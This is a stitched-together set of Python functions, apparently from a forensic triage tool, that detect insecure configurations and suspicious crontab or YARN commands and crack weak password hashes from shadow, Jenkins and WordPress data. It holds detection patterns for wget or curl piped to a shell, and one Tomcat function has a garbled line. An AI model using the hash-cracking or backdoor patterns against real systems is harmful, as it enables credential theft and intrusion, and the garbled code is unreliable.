def analyse_shadow_file(self, shadow, hashes): """Analyses a Linux shadow file. Args: shadow (list): shadow file content (list of str). hashes (dict): dict of hashes to usernames Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] summary = 'No weak passwords found' priority = Priority.LOW weak_passwords = bruteforce_password_hashes(shadow) if weak_passwords: priority = Priority.CRITICAL summary = 'Shadow file analysis found {0:n} weak password(s)'.format( len(weak_passwords)) report.insert(0, fmt.heading4(fmt.bold(summary))) line = '{0:n} weak password(s) found:'.format(len(weak_passwords)) report.append(fmt.bullet(fmt.bold(line))) for password_hash, plaintext in weak_passwords: line = """User '{0:s}' with password '{1:s}'""".format( hashes[password_hash], plaintext) report.append(fmt.bullet(line, level=2)) report = '\n'.join(report) return (report, priority, summary)
def analyse_crontab(self, crontab): """Analyses a Cron file. Args: crontab (str): file content. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ findings = [] wget_or_curl = re.compile(r'(wget|curl)', re.IGNORECASE | re.MULTILINE) pipe_to_sh = re.compile(r'\|(.*)sh ', re.IGNORECASE | re.MULTILINE) get_piped_to_sh = re.compile(r'((wget|curl).*\|)+(.*sh)', re.IGNORECASE | re.MULTILINE) if re.search(get_piped_to_sh, crontab): findings.append( fmt.bullet('Remote file retrieval piped to a shell.')) elif re.search(wget_or_curl, crontab): findings.append(fmt.bullet('Remote file retrieval')) elif re.search(pipe_to_sh, crontab): findings.append(fmt.bullet('File piped to shell')) if findings: summary = 'Potentially backdoored crontab found.' findings.insert(0, fmt.heading4(fmt.bold(summary))) report = '\n'.join(findings) return (report, Priority.HIGH, summary) report = 'No issues found in crontabs' return (report, Priority.LOW, report)
def format_task_detail(self, task, show_files=False): """Formats a single task in detail. Args: task (dict): The task to format data for show_files (bool): Whether we want to print out log file paths Returns: list: Formatted task data """ report = [] saved_paths = task.get('saved_paths') or [] status = task.get('status') or 'No task status' report.append(fmt.heading2(task.get('name'))) line = '{0:s} {1:s}'.format(fmt.bold('Status:'), status) report.append(fmt.bullet(line)) report.append(fmt.bullet('Task Id: {0:s}'.format(task.get('id')))) report.append( fmt.bullet('Executed on worker {0:s}'.format( task.get('worker_name')))) if task.get('report_data'): report.append('') report.append(fmt.heading3('Task Reported Data')) report.extend(task.get('report_data').splitlines()) if show_files: report.append('') report.append(fmt.heading3('Saved Task Files:')) for path in saved_paths: report.append(fmt.bullet(fmt.code(path))) report.append('') return report
def _ProcessPartition(self, path_spec): """Generate RawDiskPartition from a PathSpec. Args: path_spec (dfvfs.PathSpec): dfVFS path spec. Returns: A list of strings containing partition information to add to the status report. """ status_report = [] location = getattr(path_spec, 'location', None) if location in ('/', '\\'): path_spec = path_spec.parent location = getattr(path_spec, 'location', None) status_report.append(fmt.heading5('{0!s}:'.format(location))) # APFS volumes will have a volume_index volume_index = getattr(path_spec, 'volume_index', None) if not volume_index is None: status_report.append( fmt.bullet('Volume index: {0!s}'.format(volume_index))) # The part_index and start_offset come from the TSK partition # APFS volumes will have a TSK partition as a parent if not getattr(path_spec, 'part_index', None): path_spec = path_spec.parent status_report.append( fmt.bullet('Partition index: {0!s}'.format( getattr(path_spec, 'part_index', None)))) status_report.append( fmt.bullet('Partition offset: {0!s}'.format( getattr(path_spec, 'start_offset', None)))) return status_report
def _AnalyzeHadoopAppRoot(self, collected_artifacts, output_dir): """Runs a naive AppRoot files parsing method. This extracts strings from the saved task file, and searches for usual post-compromise suspicious patterns. TODO: properly parse the Proto. Some documentation can be found over there: https://svn.apache.org/repos/asf/hadoop/common/branches/branch-0.23.7/hadoop-yarn-project/hadoop-yarn/hadoop-yarn-api/src/main/proto/yarn_protos.proto Args: collected_artifacts(list(str)): a list of paths to extracted files output_dir(str): The base directory the artfacts are in. Returns: Tuple( list(str): The report data as a list of lines report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] evil_commands = [] strings_count = 0 priority = Priority.MEDIUM summary = '' for filepath in collected_artifacts: relpath = os.path.relpath(filepath, output_dir) command = 'strings -a "{0:s}"'.format(filepath) log.debug('Running command [{0:s}]'.format(command)) proc = subprocess.Popen( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) strings_output, _ = proc.communicate() strings_output = codecs.decode(strings_output, 'utf-8') for line in strings_output.splitlines(): strings_count += 1 if (line.find('curl') >= 0) or (line.find('wget') >= 0): evil_commands.append((relpath, line)) if evil_commands: msg = 'Found suspicious commands!' report.append(fmt.heading4(fmt.bold(msg))) summary = msg priority = Priority.CRITICAL else: msg = 'Did not find any suspicious commands.' report.append(fmt.heading4(msg)) summary = msg for filepath, command in evil_commands: report.append(fmt.bullet(fmt.bold('Command:'))) report.append(fmt.code(command)) report.append('Found in file:') report.append(fmt.code(filepath)) msg = 'Extracted {0:d} strings from {1:d} file(s)'.format( strings_count, len(collected_artifacts)) report.append(fmt.bullet(msg)) return (report, priority, summary)
def analyse_config(self, jupyter_config): """Extract security related configs from Jupyter configuration files. Args: config (str): configuration file content. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ findings = [] num_misconfigs = 0 for line in jupyter_config.split('\n'): if all(x in line for x in ['disable_check_xsrf', 'True']): findings.append(fmt.bullet('XSRF protection is disabled.')) num_misconfigs += 1 continue if all(x in line for x in ['allow_root', 'True']): findings.append( fmt.bullet('Juypter Notebook allowed to run as root.')) num_misconfigs += 1 continue if 'NotebookApp.password' in line: if all(x in line for x in ['required', 'False']): findings.append( fmt.bullet( 'Password is not required to access this Jupyter Notebook.' )) num_misconfigs += 1 continue if 'required' not in line: password_hash = line.split('=') if len(password_hash) > 1: if password_hash[1].strip() == "''": findings.append( fmt.bullet( 'There is no password set for this Jupyter Notebook.' )) num_misconfigs += 1 if all(x in line for x in ['allow_remote_access', 'True']): findings.append( fmt.bullet( 'Remote access is enabled on this Jupyter Notebook.')) num_misconfigs += 1 continue if findings: summary = 'Insecure Jupyter Notebook configuration found. Total misconfigs: {}'.format( num_misconfigs) findings.insert(0, fmt.heading4(fmt.bold(summary))) report = '\n'.join(findings) return (report, Priority.HIGH, summary) report = 'No issues found in Jupyter Notebook configuration.' return (report, Priority.LOW, report)
def analyze_jenkins(version, credentials, timeout=300): """Analyses a Jenkins configuration. Args: version (str): Version of Jenkins. credentials (list): of tuples with username and password hash. timeout (int): Time in seconds to run password bruteforcing. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] summary = '' priority = Priority.LOW credentials_registry = { hash: username for username, hash in credentials } # '3200' is "bcrypt $2*$, Blowfish (Unix)" weak_passwords = bruteforce_password_hashes( credentials_registry.keys(), tmp_dir=None, timeout=timeout, extra_args='-m 3200') if not version: version = 'Unknown' report.append(fmt.bullet('Jenkins version: {0:s}'.format(version))) if weak_passwords: priority = Priority.CRITICAL summary = 'Jenkins analysis found potential issues' report.insert(0, fmt.heading4(fmt.bold(summary))) line = '{0:n} weak password(s) found:'.format(len(weak_passwords)) report.append(fmt.bullet(fmt.bold(line))) for password_hash, plaintext in weak_passwords: line = 'User "{0:s}" with password "{1:s}"'.format( credentials_registry.get(password_hash), plaintext) report.append(fmt.bullet(line, level=2)) elif credentials_registry or version != 'Unknown': summary = ( 'Jenkins version {0:s} found with {1:d} credentials, but no issues ' 'detected'.format(version, len(credentials_registry))) report.insert(0, fmt.heading4(summary)) priority = Priority.MEDIUM else: summary = 'No Jenkins instance found' report.insert(0, fmt.heading4(summary)) report = '\n'.join(report) return (report, priority, summary)
def testFormatting(self): """Test text formatting.""" self.assertEqual('**testing**', fmt.bold(self.test_string)) self.assertEqual('# testing', fmt.heading1(self.test_string)) self.assertEqual('## testing', fmt.heading2(self.test_string)) self.assertEqual('### testing', fmt.heading3(self.test_string)) self.assertEqual('#### testing', fmt.heading4(self.test_string)) self.assertEqual('##### testing', fmt.heading5(self.test_string)) self.assertEqual('* testing', fmt.bullet(self.test_string)) self.assertEqual(' * testing', fmt.bullet(self.test_string, level=3)) self.assertEqual('`testing`', fmt.code(self.test_string))
def analyze_jenkins(version, credentials): """Analyses a Jenkins configuration. Args: version (str): Version of Jenkins. credentials (list): of tuples with username and password hash. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] summary = '' priority = Priority.LOW credentials_registry = { hash: username for username, hash in credentials } # TODO: Add timeout parameter when dynamic configuration is ready. # Ref: https://github.com/google/turbinia/issues/244 weak_passwords = bruteforce_password_hashes( credentials_registry.keys()) if not version: version = 'Unknown' report.append(fmt.bullet('Jenkins version: {0:s}'.format(version))) if weak_passwords: priority = Priority.CRITICAL summary = 'Jenkins analysis found potential issues' report.insert(0, fmt.heading4(fmt.bold(summary))) line = '{0:n} weak password(s) found:'.format(len(weak_passwords)) report.append(fmt.bullet(fmt.bold(line))) for password_hash, plaintext in weak_passwords: line = 'User "{0:s}" with password "{1:s}"'.format( credentials_registry.get(password_hash), plaintext) report.append(fmt.bullet(line, level=2)) elif credentials_registry or version != 'Unknown': summary = ( 'Jenkins version {0:s} found with {1:d} credentials, but no issues ' 'detected'.format(version, len(credentials_registry))) report.insert(0, fmt.heading4(summary)) priority = Priority.MEDIUM else: summary = 'No Jenkins instance found' report.insert(0, fmt.heading4(summary)) report = '\n'.join(report) return (report, priority, summary)
def analyse_tomcat_file(self, tomcat_file): """Analyse a Tomcat file. - Search for clear text password entries in user configuration file - Search for .war deployment - Search for management control panel activity Args: tomcat_file (str): Tomcat file content. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ findings = [] tomcat_user_passwords_re = re.compile('(^.*password.*)', re.MULTILINE) tomcat_deploy_re = re.compile( '(^.*Deploying web application archive.*)', re.MULTILINE) tomcat_manager_activity_re = re.compile( '(^.*POST /manager/html/upload.*)', re.MULTILINE) count = 0 for password_entry in re.findall(tomcat_user_passwords_re, tomcat_file): findings.append( fmt.bullet('Tomcat user: '******'Tomcat App Deployed: ' + deployment_entry.strip())) count += 1 for mgmt_entry in re.findall(tomcat_manager_activity_re, tomcat_file): findings.append( fmt.bullet('Tomcat Management: ' + mgmt_entry.strip())) count += 1 if findings: msg = 'Tomcat analysis found {0:d} results'.format(count) findings.insert(0, fmt.heading4(fmt.bold(msg))) report = '\n'.join(findings) return (report, Priority.HIGH, msg) report = 'No Tomcat findings to report' return (report, Priority.LOW, report)
def testPartitionEnumerationRun(self, mock_getbasepathspecs): """Test PartitionEnumeration task run.""" os_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location='test.dd') raw_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_RAW, parent=os_path_spec) tsk_p1_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_TSK_PARTITION, parent=raw_path_spec, location='/p1', part_index=2, start_offset=1048576) ntfs_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_NTFS, parent=tsk_p1_spec, location='\\') tsk_p2_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_TSK_PARTITION, parent=raw_path_spec, location='/p2', part_index=6, start_offset=11534336) tsk_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_NTFS, parent=tsk_p2_spec, location='/') mock_getbasepathspecs.return_value = [ntfs_spec, tsk_spec] result = self.task.run(self.evidence, self.result) # Ensure run method returns a TurbiniaTaskResult instance. self.assertIsInstance(result, TurbiniaTaskResult) self.assertEqual(result.task_name, 'PartitionEnumerationTask') self.assertEqual(len(result.evidence), 2) expected_report = [] expected_report.append( fmt.heading4('Found 2 partition(s) in [{0:s}]:'.format( self.evidence.local_path))) expected_report.append(fmt.heading5('/p1:')) expected_report.append(fmt.bullet('Partition index: 2')) expected_report.append(fmt.bullet('Partition offset: 1048576')) expected_report.append(fmt.heading5('/p2:')) expected_report.append(fmt.bullet('Partition index: 6')) expected_report.append(fmt.bullet('Partition offset: 11534336')) expected_report = '\n'.join(expected_report) self.assertEqual(result.report_data, expected_report)
def testPartitionEnumerationRunAPFS(self, mock_getbasepathspecs, _): """Test PartitionEnumeration task run on APFS.""" self.result.setup(self.task) filedir = os.path.dirname(os.path.realpath(__file__)) test_data = os.path.join(filedir, '..', '..', 'test_data', 'apfs.raw') test_os_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=test_data) test_raw_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_RAW, parent=test_os_path_spec) test_apfs_container_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_APFS_CONTAINER, location='/apfs1', volume_index=0, parent=test_raw_path_spec) mock_getbasepathspecs.return_value = [test_apfs_container_path_spec] result = self.task.run(self.evidence, self.result) # Ensure run method returns a TurbiniaTaskResult instance. expected_report = [] expected_report.append( fmt.heading4('Found 1 partition(s) in [{0:s}]:'.format( self.evidence.local_path))) expected_report.append(fmt.heading5('/apfs1:')) expected_report.append(fmt.bullet('Volume index: 0')) expected_report = '\n'.join(expected_report) self.assertEqual(result.report_data, expected_report)
def testPartitionEnumerationRunLVM(self, mock_getbasepathspecs, _): """Test PartitionEnumeration task run on LVM.""" self.result.setup(self.task) filedir = os.path.dirname(os.path.realpath(__file__)) test_data = os.path.join(filedir, '..', '..', 'test_data', 'lvm.raw') test_os_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=test_data) test_raw_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_RAW, parent=test_os_path_spec) test_lvm_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_LVM, location='/lvm1', parent=test_raw_path_spec) test_xfs_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_XFS, location='/', parent=test_lvm_path_spec) mock_getbasepathspecs.return_value = [test_xfs_path_spec] result = self.task.run(self.evidence, self.result) # Ensure run method returns a TurbiniaTaskResult instance. expected_report = [] expected_report.append( fmt.heading4('Found 1 partition(s) in [{0:s}]:'.format( self.evidence.local_path))) expected_report.append(fmt.heading5('/lvm1:')) expected_report.append(fmt.bullet('Source evidence is a volume image')) expected_report = '\n'.join(expected_report) self.assertEqual(result.report_data, expected_report)
def analyse_redis_config(self, config): """Analyses a Redis configuration. Args: config (str): configuration file content. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ findings = [] bind_everywhere_re = re.compile( r'^\s*bind[\s"]*0\.0\.0\.0', re.IGNORECASE | re.MULTILINE) if re.search(bind_everywhere_re, config): findings.append(fmt.bullet('Redis listening on every IP')) if findings: summary = 'Insecure Redis configuration found.' findings.insert(0, fmt.heading4(fmt.bold(summary))) report = '\n'.join(findings) return (report, Priority.HIGH, summary) report = 'No issues found in Redis configuration' return (report, Priority.LOW, report)
def format_task(self, task, show_files=False): """Formats a single task in short form. Args: task (dict): The task to format data for show_files (bool): Whether we want to print out log file paths Returns: list: Formatted task data """ report = [] saved_paths = task.get('saved_paths') or [] status = task.get('status') or 'No task status' report.append(fmt.bullet('{0:s}: {1:s}'.format(task.get('name'), status))) if show_files: for path in saved_paths: report.append(fmt.bullet(fmt.code(path), level=2)) report.append('') return report
def analyze_wp_access_logs(self, config): """Analyses access logs containing Wordpress traffic. Args: config (str): access log file content. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] findings_summary = set() for log_line in config.split('\n'): if self.install_step_regex.search(log_line): line = '{0:s}: Wordpress installation successful'.format( self._get_timestamp(log_line)) report.append(fmt.bullet(line)) findings_summary.add('install') match = self.theme_editor_regex.search(log_line) if match: line = '{0:s}: Wordpress theme editor edited file ({1:s})'.format( self._get_timestamp(log_line), match.group('edited_file')) report.append(fmt.bullet(line)) findings_summary.add('theme_edit') if report: findings_summary = ', '.join(sorted(list(findings_summary))) summary = 'Wordpress access logs found ({0:s})'.format( findings_summary) report.insert(0, fmt.heading4(fmt.bold(summary))) report_text = '\n'.join(report) return (report_text, Priority.HIGH, summary) report_text = 'No Wordpress install or theme editing found in access logs' return (fmt.heading4(report_text), Priority.LOW, report_text)
def format_worker_task(self, task): """Formats a single task for Worker view. Args: task (dict): The task to format data for Returns: list: Formatted task data """ report = [] report.append( fmt.bullet('{0:s} - {1:s}'.format(task['task_id'], task['task_name']))) report.append( fmt.bullet( 'Last Update: {0:s}'.format( task['last_update'].strftime(DATETIME_FORMAT)), level=2)) report.append(fmt.bullet('Status: {0:s}'.format(task['status']), level=2)) report.append( fmt.bullet('Run Time: {0:s}'.format(str(task['run_time'])), level=2)) report.append('') return report
def runLoki(self, result, evidence): log_file = os.path.join(self.output_dir, 'loki.log') stdout_file = os.path.join(self.output_dir, 'loki_stdout.log') stderr_file = os.path.join(self.output_dir, 'loki_stderr.log') cmd = [ 'python', '/opt/loki/loki.py', '-w', '0', '--csv', '--intense', '--noprocscan', '--dontwait', '--noindicator', '-l', log_file, '-p', evidence.local_path ] (ret, result) = self.execute( cmd, result, log_files=[log_file], stdout_file=stdout_file, stderr_file=stderr_file, cwd='/opt/loki/') if ret != 0: raise TurbiniaException('Return code: {0:d}'.format(ret)) report = [] summary = 'No Loki threats found' priority = Priority.LOW report_lines = [] with open(stdout_file, 'r') as loki_report_csv: lokireader = csv.DictReader( loki_report_csv, fieldnames=['Time', 'Hostname', 'Level', 'Log']) for row in lokireader: if row['Level'] == 'ALERT': report_lines.append(row['Log']) if report_lines: priority = Priority.HIGH summary = 'Loki analysis found {0:d} alert(s)'.format(len(report_lines)) report.insert(0, fmt.heading4(fmt.bold(summary))) line = '{0:n} alerts(s) found:'.format(len(report_lines)) report.append(fmt.bullet(fmt.bold(line))) for line in report_lines: report.append(fmt.bullet(line, level=2)) report = '\n'.join(report) return (report, priority, summary)
def testPartitionEnumerationRun(self, mock_getbasepathspecs, _): """Test PartitionEnumeration task run.""" self.result.setup(self.task) filedir = os.path.dirname(os.path.realpath(__file__)) test_data = os.path.join(filedir, '..', '..', 'test_data', 'tsk_volume_system.raw') os_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_OS, location=test_data) raw_path_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_RAW, parent=os_path_spec) tsk_p2_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_TSK_PARTITION, parent=raw_path_spec, location='/p2', part_index=6, start_offset=180224) tsk_spec = path_spec_factory.Factory.NewPathSpec( dfvfs_definitions.TYPE_INDICATOR_NTFS, parent=tsk_p2_spec, location='/') mock_getbasepathspecs.return_value = [tsk_spec] result = self.task.run(self.evidence, self.result) # Ensure run method returns a TurbiniaTaskResult instance. self.assertIsInstance(result, TurbiniaTaskResult) self.assertEqual(result.task_name, 'PartitionEnumerationTask') self.assertEqual(len(result.evidence), 1) expected_report = [] expected_report.append( fmt.heading4('Found 1 partition(s) in [{0:s}]:'.format( self.evidence.local_path))) expected_report.append(fmt.heading5('/p2:')) expected_report.append(fmt.bullet('Partition index: 6')) expected_report.append(fmt.bullet('Partition offset: 180224')) expected_report.append(fmt.bullet('Partition size: 1294336')) expected_report = '\n'.join(expected_report) self.assertEqual(result.report_data, expected_report)
def _analyse_wordpress_creds(self, creds, hashnames, timeout=300): """Attempt to brute force extracted Wordpress credentials. Args: creds (list): List of strings containing raw extracted credentials hashnames (dict): Dict mapping hash back to username for convenience. timeout (int): How long to spend cracking. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] summary = 'No weak passwords found' priority = Priority.LOW # 1000 is "phpass" weak_passwords = bruteforce_password_hashes( creds, tmp_dir=self.tmp_dir, timeout=timeout, extra_args='--username -m 400') if weak_passwords: priority = Priority.CRITICAL summary = 'Wordpress analysis found {0:d} weak password(s)'.format( len(weak_passwords)) report.insert(0, fmt.heading4(fmt.bold(summary))) line = '{0:n} weak password(s) found:'.format(len(weak_passwords)) report.append(fmt.bullet(fmt.bold(line))) for password_hash, plaintext in weak_passwords: if password_hash in hashnames: line = """User '{0:s}' with password '{1:s}'""".format( hashnames[password_hash], plaintext) report.append(fmt.bullet(line, level=2)) report = '\n'.join(report) return (report, priority, summary)
def analyse_sshd_config(self, config): """Analyses an SSH configuration. Args: config (str): configuration file content. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ findings = [] permit_root_login_re = re.compile( r'^\s*PermitRootLogin\s*(yes|prohibit-password|without-password)', re.IGNORECASE | re.MULTILINE) password_authentication_re = re.compile( r'^\s*PasswordAuthentication[\s"]*No', re.IGNORECASE | re.MULTILINE) permit_empty_passwords_re = re.compile( r'^\s*PermitEmptyPasswords[\s"]*Yes', re.IGNORECASE | re.MULTILINE) if re.search(permit_root_login_re, config): findings.append(fmt.bullet('Root login enabled.')) if not re.search(password_authentication_re, config): findings.append(fmt.bullet('Password authentication enabled.')) if re.search(permit_empty_passwords_re, config): findings.append(fmt.bullet('Empty passwords permitted.')) if findings: summary = 'Insecure SSH configuration found.' findings.insert(0, fmt.heading4(fmt.bold(summary))) report = '\n'.join(findings) return (report, 20, summary) report = 'No issues found in SSH configuration' return (report, 60, report)
def analyse_shadow_file(self, shadow, hashes, timeout=300): """Analyses a Linux shadow file. Args: shadow (list): shadow file content (list of str). hashes (dict): dict of hashes to usernames timeout (int): Time in seconds to run password bruteforcing. Returns: Tuple( report_text(str): The report data report_priority(int): The priority of the report (0 - 100) summary(str): A summary of the report (used for task status) ) """ report = [] summary = 'No weak passwords found' priority = Priority.LOW # 1800 is "sha512crypt $6$, SHA512 (Unix)" weak_passwords = bruteforce_password_hashes(shadow, tmp_dir=self.tmp_dir, timeout=timeout, extra_args='-m 1800') if weak_passwords: priority = Priority.CRITICAL summary = 'Shadow file analysis found {0:n} weak password(s)'.format( len(weak_passwords)) report.insert(0, fmt.heading4(fmt.bold(summary))) line = '{0:n} weak password(s) found:'.format(len(weak_passwords)) report.append(fmt.bullet(fmt.bold(line))) for password_hash, plaintext in weak_passwords: line = """User '{0:s}' with password '{1:s}'""".format( hashes[password_hash], plaintext) report.append(fmt.bullet(line, level=2)) report = '\n'.join(report) return (report, priority, summary)
def format_task_status(self, instance, project, region, days=0, task_id=None, request_id=None, user=None, all_fields=False, full_report=False, priority_filter=Priority.HIGH): """Formats the recent history for Turbinia Tasks. Args: instance (string): The Turbinia instance name (by default the same as the INSTANCE_ID in the config). project (string): The name of the project. region (string): The name of the zone to execute in. days (int): The number of days we want history for. task_id (string): The Id of the task. request_id (string): The Id of the request we want tasks for. user (string): The user of the request we want tasks for. all_fields (bool): Include all fields for the task, including task, request ids and saved file paths. full_report (bool): Generate a full markdown report instead of just a summary. priority_filter (int): Output only a summary for Tasks with a value greater than the priority_filter. Returns: String of task status """ if user and days == 0: days = 1000 task_results = self.get_task_data(instance, project, region, days, task_id, request_id, user) if not task_results: return '' # Sort all tasks by the report_priority so that tasks with a higher # priority are listed first in the report. for result in task_results: # 0 is a valid value, so checking against specific values if result.get('report_priority') in (None, ''): result['report_priority'] = Priority.LOW task_results = sorted(task_results, key=itemgetter('report_priority')) num_results = len(task_results) if not num_results: msg = 'No Turbinia Tasks found.' log.info(msg) return '\n{0:s}'.format(msg) # Build up data report = [] requester = task_results[0].get('requester') request_id = task_results[0].get('request_id') success_types = ['Successful', 'Failed', 'Scheduled or Running'] success_values = [True, False, None] # Reverse mapping values to types success_map = dict(zip(success_values, success_types)) task_map = defaultdict(list) success_types.insert(0, 'High Priority') for task in task_results: if task.get('report_priority') <= priority_filter: task_map['High Priority'].append(task) else: task_map[success_map[task.get('successful')]].append(task) # Generate report header report.append('\n') report.append(fmt.heading1('Turbinia report {0:s}'.format(request_id))) report.append( fmt.bullet('Processed {0:d} Tasks for user {1:s}'.format( num_results, requester))) # Print report data for tasks for success_type in success_types: report.append('') report.append(fmt.heading1('{0:s} Tasks'.format(success_type))) if not task_map[success_type]: report.append(fmt.bullet('None')) for task in task_map[success_type]: if full_report and success_type == success_types[0]: report.extend( self.format_task_detail(task, show_files=all_fields)) else: report.extend(self.format_task(task, show_files=all_fields)) return '\n'.join(report)
def _ProcessPartition(self, path_spec): """Generate RawDiskPartition from a PathSpec. Args: path_spec (dfvfs.PathSpec): dfVFS path spec. Returns: A new RawDiskPartition evidence item and a list of strings containing partition information to add to the status report. """ status_report = [] fs_path_spec = path_spec fs_location = None partition_location = None volume_index = None partition_index = None partition_offset = None partition_size = None lv_uuid = None # File system location / identifier is_lvm = False fs_location = getattr(path_spec, 'location', None) while path_spec.HasParent(): type_indicator = path_spec.type_indicator if type_indicator == dfvfs_definitions.TYPE_INDICATOR_APFS_CONTAINER: # APFS volume index volume_index = getattr(path_spec, 'volume_index', None) if type_indicator in ( dfvfs_definitions.TYPE_INDICATOR_GPT, dfvfs_definitions.TYPE_INDICATOR_LVM, dfvfs_definitions.TYPE_INDICATOR_TSK_PARTITION): if fs_location in ('\\', '/'): # Partition location / identifier fs_location = getattr(path_spec, 'location', None) partition_location = getattr(path_spec, 'location', None) # Partition index partition_index = getattr(path_spec, 'part_index', None) if type_indicator == dfvfs_definitions.TYPE_INDICATOR_TSK_PARTITION: volume_system = tsk_volume_system.TSKVolumeSystem() elif type_indicator == dfvfs_definitions.TYPE_INDICATOR_LVM: is_lvm = True volume_system = lvm_volume_system.LVMVolumeSystem() else: volume_system = gpt_volume_system.GPTVolumeSystem() try: volume_system.Open(path_spec) volume_identifier = partition_location.replace('/', '') volume = volume_system.GetVolumeByIdentifier( volume_identifier) if is_lvm: # LVM Logical Volume UUID lv_uuid = volume.GetAttribute('identifier') if lv_uuid: lv_uuid = lv_uuid.value partition_offset = volume.extents[0].offset partition_size = volume.extents[0].size except dfvfs_errors.VolumeSystemError as e: raise TurbiniaException( 'Could not process partition: {0!s}'.format(e)) break path_spec = path_spec.parent status_report.append(fmt.heading5('{0!s}:'.format(fs_location))) status_report.append( fmt.bullet('Filesystem: {0!s}'.format( fs_path_spec.type_indicator))) if volume_index is not None: status_report.append( fmt.bullet('Volume index: {0!s}'.format(volume_index))) if partition_index is not None: status_report.append( fmt.bullet('Partition index: {0!s}'.format(partition_index))) status_report.append( fmt.bullet('Partition offset: {0!s}'.format(partition_offset))) status_report.append( fmt.bullet('Partition size: {0!s}'.format(partition_size))) if volume_index is None and partition_index is None: status_report.append( fmt.bullet('Source evidence is a volume image')) # Not setting path_spec here as it will need to be generated for each task partition_evidence = DiskPartition(partition_location=fs_location, partition_offset=partition_offset, partition_size=partition_size, lv_uuid=lv_uuid) return partition_evidence, status_report
def format_task_status(self, instance, project, region, days=0, task_id=None, request_id=None, group_id=None, user=None, all_fields=False, full_report=False, priority_filter=Priority.HIGH, output_json=False, report=None): """Formats the recent history for Turbinia Tasks. Args: instance (string): The Turbinia instance name (by default the same as the INSTANCE_ID in the config). project (string): The name of the project. region (string): The name of the zone to execute in. days (int): The number of days we want history for. task_id (string): The Id of the task. request_id (string): The Id of the request we want tasks for. group_id (string): Group Id of the requests. user (string): The user of the request we want tasks for. all_fields (bool): Include all fields for the task, including task, request ids and saved file paths. full_report (bool): Generate a full markdown report instead of just a summary. priority_filter (int): Output only a summary for Tasks with a value greater than the priority_filter. output_json (bool): Whether to return JSON output. report (string): Status report that will be returned. Returns: String of task status in JSON or human readable format. """ if user and days == 0: days = 1000 task_results = self.get_task_data(instance, project, region, days, task_id, request_id, group_id, user, output_json=output_json) if not task_results: return '' if output_json: return task_results # Sort all tasks by the report_priority so that tasks with a higher # priority are listed first in the report. for result in task_results: # 0 is a valid value, so checking against specific values if result.get('report_priority') in (None, ''): result['report_priority'] = Priority.LOW task_results = sorted(task_results, key=itemgetter('report_priority')) num_results = len(task_results) if not num_results: msg = 'No Turbinia Tasks found.' log.info(msg) return '\n{0:s}'.format(msg) # Build up data if report is None: report = [] success_types = ['Successful', 'Failed', 'Scheduled or Running'] success_values = [True, False, None] # Reverse mapping values to types success_map = dict(zip(success_values, success_types)) # This is used for group ID status requests = defaultdict(dict) requester = task_results[0].get('requester') request_id = task_results[0].get('request_id') task_map = defaultdict(list) success_types.insert(0, 'High Priority') for task in task_results: if task.get('request_id') not in requests: requests[task.get('request_id')] = { 'Successful': 0, 'Failed': 0, 'Scheduled or Running': 0 } requests[task.get('request_id')][success_map[task.get( 'successful')]] += 1 if task.get('report_priority') <= priority_filter: task_map['High Priority'].append(task) else: task_map[success_map[task.get('successful')]].append(task) if group_id: report.append('\n') report.append( fmt.heading1( 'Turbinia report for group ID {0:s}'.format(group_id))) for request_id, success_counts in requests.items(): report.append( fmt.bullet( 'Request Id {0:s} with {1:d} successful, {2:d} failed, and {3:d} running tasks.' .format(request_id, success_counts['Successful'], success_counts['Failed'], success_counts['Scheduled or Running']))) if full_report: self.format_task_status(instance, project, region, days=0, task_id=None, request_id=request_id, user=user, all_fields=all_fields, full_report=full_report, priority_filter=priority_filter, output_json=output_json, report=report) return '\n'.join(report) # Generate report header report.append('\n') report.append(fmt.heading1('Turbinia report {0:s}'.format(request_id))) report.append( fmt.bullet('Processed {0:d} Tasks for user {1:s}'.format( num_results, requester))) # Print report data for tasks for success_type in success_types: report.append('') 